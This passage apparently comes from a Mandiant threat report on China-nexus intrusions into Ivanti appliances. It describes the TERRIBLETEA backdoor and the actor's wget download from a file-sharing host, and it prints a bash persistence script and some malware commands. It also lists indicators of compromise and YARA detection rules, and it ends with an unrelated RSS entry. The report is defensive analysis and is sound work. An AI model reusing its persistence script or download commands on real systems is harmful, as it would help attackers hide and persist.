At a separate intrusion, UNC5266 used the same WARPWIRE sample as used in their SLIVER operation. However, instead of SLIVER, UNC5266 deployed a Go backdoor that Mandiant has named TERRIBLETEA. During this intrusion, the actor attempted to use curl to download the backdoor; however, logs suggest these attempts failed. Seven minutes after their last failed curl attempt, UNC5266 ran a wget request to an anonymous file sharing site: pan.xj.hk. UNC5266 likely uploaded TERRIBLETEA to the file-sharing site in the intervening seven minutes.

TERRIBLETEA is a Go backdoor that communicates over HTTP using XXTEA for encrypted communications. It is built using multiple open-source Go modules and has a multitude of capabilities including:

  • Command execution

  • Keystroke logging

  • SOCKS5 proxy

  • Port scanning

  • File system interaction

  • SQL query execution

  • Screen captures

  • Ability to open a new SSH session, execute commands, and upload files to a remote server. The following commands may be executed:

    • chmod +x /tmp/.udevd

    • /tmp/.udevd <args>

    • ls -lahrt /home/

TERRIBLETEA can take different execution paths depending on what environment it is configured for, either linux_amd64 or darwin_amd64. In this instance, TERRIBLETEA is configured for the linux_amd64 environment. The sample persists with a Bash profile script located at /etc/profile.d/cron.sh for persistence.

# Initialization script for bash and sh
# export AFS if you are in AFS environment
a=`ps -fe|grep /bin/cron |grep -v grep|wc|awk '{print$1}'`
if [ "$a" -eq 0 ] 
then
/bin/cron
fi

Figure 5: TERRIBLETEA Bash profile script

Outlook and Implications

The activity detailed in this blog, as well as the recently published Cutting Edge, Part 3 highlighting UNC5325 targeting of Ivanti Connect Secure appliances, underscore the threat faced by edge appliances. Mandiant continues to observe China-nexus threat actors aggressively utilizing zero-day and N-day vulnerabilities to enable their operations and target organizations across the globe. 

Mandiant continues to observe a wide range of TTPs following the successful exploitation of vulnerabilities against edge appliances. As previously reported by Mandiant, China-nexus actors continue to evolve their stealth to avoid detection by defenders. While the use of open--source tooling is somewhat common, Mandiant continues to observe actors leveraging custom malware that is tailored to the appliance or environment the actor is targeting.

Indicators of Compromise (IOCs)

Host-Based Indicators (HBIs)

Filename

MD5

Description

data.dat

9d684815bc96508b99e6302e253bc292

PHANTOMNET

epdevmgr.dll

b210a9a9f3587894e5a0f225b3a6519f

TONERJAM

libdsproxy.so

4f79c70cce4207d0ad57a339a9c7f43c

SPAWNMOLE

libdsmeeting.so

e7d24813535f74187db31d4114f607a1

SPAWNSNAIL

.liblogblock.so

4acfc5df7f24c2354384f7449280d9e0 

SPAWNSLOTH

.dskey

3ef30bc3a7e4f5251d8c6e1d3825612d

SPAWNSNAIL private key

N/A

bb3b286f88728060c80ea65993576ef8

TERRIBLETEA

N/A

cfca610934b271c26437c4ce891bad00

TERRIBLETEA

N/A

08a817e0ae51a7b4a44bc6717143f9c2

TERRIBLETEA

linb64.png

e7fdbed34f99c05bb5861910ca4cc994

SLIVER

lint64.png

c251afe252744116219f885980f2caea

SLIVER

linb64.png

4f68862d3170abd510acd5c500e43548

SLIVER

lint64.png

9d0b6276cbc4c8b63c269e1ddc145008

SLIVER

logd

71b4368ef2d91d49820c5b91f33179cb

SLIVER

winb64.png

d88bbed726d79124535e8f4d7de5592e

SLIVER

logd.spec.cfg

846369b3a3d4536008a6e1b92ed09549

SLIVER persistence

N/A

8e429d919e7585de33ea9d7bb29bc86b

SLIVER downloader

N/A

fc1a8f73010f401d6e95a42889f99028

PHANTOMNET

N/A

e72efc0753e6386fbca0a500836a566e

PHANTOMNET

N/A

4645f2f6800bc654d5fa812237896b00

BRICKSTORM

Table 4: Host-based indicators

Network-Based Indicators (NBIs)

Network Indicator

Type

Description

8.218.240[.]85

IPv4

Post-exploitation activity

98.142.138[.]21

IPv4

Post-exploitation activity

103.13.28[.]40

IPv4

Post-exploitation activity

103.27.110[.]83

IPv4

Post-exploitation activity

103.73.66[.]37

IPv4

Post-exploitation activity

193.149.129[.]191

IPv4

Post-exploitation activity

206.188.196[.]199

IPv4

Post-exploitation activity

oast[.]fun

Domain

Pre-exploitation validation

cpanel.netbar[.]org

Domain

WARPWIRE Variant C2 server

pan.xj[.]hk

Domain

Post-exploitation activity

akapush.us[.]to

Domain

SLIVER C2 server

opra1.oprawh.workers.dev

Domain

BRICKSTORM C2 server

Table 5: Network-based indicators

YARA Rules

rule M_Hunting_Webshell_ROOTROT_1 {
  meta:
    author = "Mandiant"
    description = "This rule detects ROOTROT, a web shell written in 
Perl that is embedded into a legitimate Pulse Secure .ttc file to 
enable arbitrary command execution."
    md5 = "c7ffd2c06e9b7e8e0b7ac92a0dbe3294"
  strings:
    $s1 = "use MIME::Base64" ascii
    $s2 = {6d 79 20 24 61 72 67 3d 64 65 63 6f 64 65 5f 62 61 73 
65 36 34 28 22 24 6b 65 79 22 29}
    $s3 = {24 6f 75 74 70 75 74 20 2e 3d 20 22 3c 21 2d 2d 5c 6e 
22 3b}
    $s4 = {22 3c 2f 62 6f 64 79 3e 5c 6e 5c 6e 3c 2f 68 74 6d 6c 3e 
5c 6e 22}
  condition:
    filesize < 4KB
    and all of them
}

rule M_Hunting_Backdoor_BRICKSTORM_1 {
  meta:
    author = "Mandiant"
    created = "2024-01-30"
    md5 = "4645f2f6800bc654d5fa812237896b00"
    descr = "Hunting rule looking for BRICKSTORM golang backdoor samples"
  strings:
    $v1 = "/home/vsphere-ui/vcli" ascii wide
    $v2 = "/opt/vmware/sbin" ascii wide
    $v3 = "/opt/vmware/sbin/vami-httpd" ascii wide
    $s1 = "github.com/gorilla/mux" ascii wide
    $s2 = "WRITE_LOG=true" ascii wide
    $s3 = "wssoft" ascii wide
    
  condition:
    uint32(0) == 0x464c457f and filesize < 6MB and 1 of ($v*) and 2 of ($s*)
}
import "pe"
rule M_APT_Backdoor_Win_PHANTOMNET_1
{
    meta:
        author = "Mandiant"
        md5 = "59f4d38a5caafbc94673c6d488bf37e3"

    strings:
        $phantomnet = /\\PhantomNet-\w{1,10}\.pdb/ ascii nocase
    condition:
        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) 
and all of them
}

rule M_APT_Backdoor_SLIVER_1
{
    meta:
        Author = “Mandiant”
        description = "Detects Windows, MacOS and ELF variants 
of the Sliver implant framework"
        md5 = "5ecd0c38501dfb02b682cec0a2d93aa9"

    strings:
        $s1 = ".InvokeSpawnDllReq"
        $s2 = ".(*InvokeSpawnDllReq).Reset"
        $s3 = ".(*InvokeSpawnDllReq).ProtoMessage"
        $s4 = ".(*InvokeSpawnDllReq).ProtoReflect"
        $s5 = ".(*InvokeSpawnDllReq).Descriptor"
        $s6 = ".(*InvokeSpawnDllReq).GetData"
        $s7 = ".(*InvokeSpawnDllReq).GetProcessName"
        $s8 = ".(*InvokeSpawnDllReq).GetArgs"
        $s10 = ".(*InvokeSpawnDllReq).GetKill"
        $s11 = ".(*InvokeSpawnDllReq).GetPPid"
        $s12 = ".(*InvokeSpawnDllReq).GetProcessArgs"
        $s13 = ".(*InvokeSpawnDllReq).GetRequest"
        $s14 = ".(*InvokeSpawnDllReq).String"
        $s15 = ".(*InvokeSpawnDllReq).GetEntryPoint"

    condition:
        ((uint16(0) == 0x5a4d and uint32(uint32(0x3C)) == 0x00004550) 
or uint32(0) == 0x464c457f or (uint32(0) == 0xBEBAFECA or uint32(0) 
== 0xFEEDFACE or uint32(0) == 0xFEEDFACF or uint32(0) == 0xCEFAEDFE)) 
and 5 of ($s*)
}

rule M_APT_Backdoor_TERRIBLETEA_1 {
    meta:
        author = "Mandiant"
        description = "This rule is designed to detect on events related 
to terribletea. TERRIBLETEA is a backdoor written in Go that communicates 
over HTTP. Its many capabilities include shell command execution, 
capturing screens, keystroke logging, port scanning, enumerating files, 
starting a SOCKS5 proxy and new SSH session, downloading files, and 
executing SQL queries."
        md5 = "bb3b286f88728060c80ea65993576ef8"
    
    strings:
        $code_part_of_getcommand = {48 BA 44 61 74 61 31 73 33 6E 
[1-12] 80 7B ?? 64}
        $code_get_task = { 48 8D  [5] B9 04 00 00 00 48 8B ?? 24 [4] 48 
8D [5] 41 B8 03 00 00 00 E8}
        $func1 = "SendRequest" fullword
        $func2 ="UploadResult"
        $func3 ="Online"
        $func4 ="GetCommond"
    condition:
        all of ($code*) and any of ($func*) and filesize<20MB  
}

rule M_Launcher_TONERJAM_1
{
    meta:
        author = "Mandiant"
        description = "This rule detects TONERJAM, a launcher that 
decrypts and executes a shellcode payload stored as an encrypted 
local file and decrypts it using an AES key derived from a SHA hash 
of the final 16 bytes of the encrypted payload."

    strings:
        $p00_0 = {e9[4]488b41??668338??75??4883c0??488941??b8[4]eb??b8}
        $p00_1 = {8030??488d40??41ffc14183f9??72??ba[4]488d4c24??e8[4]488d0d}

    condition:
        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and
        (
            ($p00_0 in (17000..28000) and $p00_1 in (3700..14000))
        )
}

rule M_APT_Installer_SPAWNSNAIL_1
{ 
    meta: 
        author = "Mandiant" 
        description = "Detects SPAWNSNAIL. SPAWNSNAIL is an SSH 
backdoor targeting Ivanti devices. It has an ability to inject a specified 
binary to other process, running local SSH backdoor when injected to 
dsmdm process, as well as injecting additional malware to dslogserver" 
        md5 = "e7d24813535f74187db31d4114f607a1"
  
    strings: 
        $priv = "PRIVATE KEY-----" ascii fullword
        
        $key1 = "%d/id_ed25519" ascii fullword
        $key2 = "%d/id_ecdsa" ascii fullword
        $key3 = "%d/id_rsa" ascii fullword
        
        $sl1 = "[selinux] enforce" ascii fullword
        $sl2 = "DSVersion::getReleaseStr()" ascii fullword
        
        $ssh1 = "ssh_set_server_callbacks" ascii fullword
        $ssh2 = "ssh_handle_key_exchange" ascii fullword
        $ssh3 = "ssh_add_set_channel_callbacks" ascii fullword
        $ssh4 = "ssh_channel_close" ascii fullword
    
    condition: 
        uint32(0) == 0x464c457f and $priv and any of ($key*) 
and any of ($sl*) and any of ($ssh*)
} 
rule M_APT_Installer_SPAWNANT_1
{ 
    meta: 
        author = "Mandiant" 
        description = "Detects SPAWNANT. SPAWNANT is an 
Installer targeting Ivanti devices. Its purpose is to persistently 
install other malware from the SPAWN family (SPAWNSNAIL, 
SPAWNMOLE) as well as drop additional webshells on the box." 
  
    strings: 
        $s1 = "dspkginstall" ascii fullword
        $s2 = "vsnprintf" ascii fullword
        $s3 = "bom_files" ascii fullword
        $s4 = "do-install" ascii
        $s5 = "ld.so.preload" ascii
        $s6 = "LD_PRELOAD" ascii
        $s7 = "scanner.py" ascii
        
    condition: 
        uint32(0) == 0x464c457f and 5 of ($s*)
}

rule M_APT_Tunneler_SPAWNMOLE_1
{ 
    meta: 
        author = "Mandiant" 
        description = "Detects a specific comparisons in SPAWNMOLE 
tunneler, which allow malware to filter put its own traffic . 
SPAWNMOLE is a tunneler written in C and compiled as an ELF32 
executable. The sample is capable of hijacking a process on the 
compromised system with a specific name and hooking into its 
communication capabilities in order to create a proxy server for 
tunneling traffic." 
        md5 = "4f79c70cce4207d0ad57a339a9c7f43c"
  
    strings: 
        /*
        3C 16                                cmp     al, 16h
        74 14                                jz      short loc_5655C038
        0F B6 45 C1                          movzx   eax, [ebp+var_3F]
        3C 03                                cmp     al, 3
        74 0C                                jz      short loc_5655C038
        0F B6 45 C5                          movzx   eax, [ebp+var_3B]
        3C 01                                cmp     al, 1
        0F 85 ED 00 00 00                    jnz     loc_5655C125
        */


        $comparison1 = { 3C 16 74 [1] 0F B6 [2] 3C 03 74 [1] 0F B6 [2] 
3C 01 0F 85 }

        /*
        81 7D E8 E2 E3 49 FB                 cmp     [ebp+var_18], 0FB49E3E2h
        0F 85 CD 00 00 00                    jnz     loc_5655C128
        81 7D E4 61 83 C3 1B                 cmp     [ebp+var_1C], 1BC38361h
        0F 85 C0 00 00 00                    jnz     loc_5655C128
        */

        $comparison2 = { 81 [2] E2 E3 49 FB 0F 85 [4] 81 [2] 61 83 C3 
1B 0F 85}
        
  
    condition: 
        uint32(0) == 0x464c457f and all of them
}

rule M_APT_Utility_SPAWNSLOTH_1
{ 
    meta: 
        author = "Mandiant" 
        description = "Detects SPAWNSLOTH. SPAWNSLOTH 
is an Utility targeting Ivanti devices. Its purpose is to work 
together with SPAWNSNAIL and block logging via dslogserver 
process when SPAWNSNAIL backdoor is active." 
        md5 = "4acfc5df7f24c2354384f7449280d9e0"
  
    strings: 
        $dslog = "dslogserver" ascii fullword

        $hook1 = "g_do_syslog_servers_exist" ascii fullword
        $hook2 = "_ZN5DSLog4File3addEPKci" ascii fullword
        $hook3 = "funchook_create" ascii fullword
    
    condition: 
        uint32(0) == 0x464c457f and all of them
}
]]> <![CDATA[De-Spotify Yourself - Warum Du von $Streamingdienst weg willst und wie/wohin (gpn24)]]> https://tsecurity.de/de/3578431/it-security-video/de-spotify-yourself-warum-du-von-streamingdienst-weg-willst-und-wiewohin-gpn24/ https://tsecurity.de/de/3578431/it-security-video/de-spotify-yourself-warum-du-von-streamingdienst-weg-willst-und-wiewohin-gpn24/ Sun, 07 Jun 2026 00:17:03 +0200 đŸŽ„ IT Security Video tsecurity.de